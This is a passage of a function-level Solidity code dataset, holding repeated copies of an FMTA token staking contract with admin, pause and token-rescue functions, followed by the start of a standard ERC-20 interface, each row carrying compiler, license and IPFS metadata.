* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
setEmergencyWDoff
|
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
|
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
13354,
13509
]
}
| 55,517 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
setPaused
|
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
|
/**
* pauses the Smart Contract.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
13620,
13749
]
}
| 55,518 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
mistakenERC20DepositRescue
|
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
|
//----Emergency PEBCAK Functions-------
|
LineComment
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
13807,
14146
]
}
| 55,519 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
IERC20
|
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
totalSupply
|
function totalSupply() external view returns (uint256);
|
/**
* @dev Returns the amount of tokens in existence.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
104,
168
]
}
| 55,520 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
IERC20
|
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
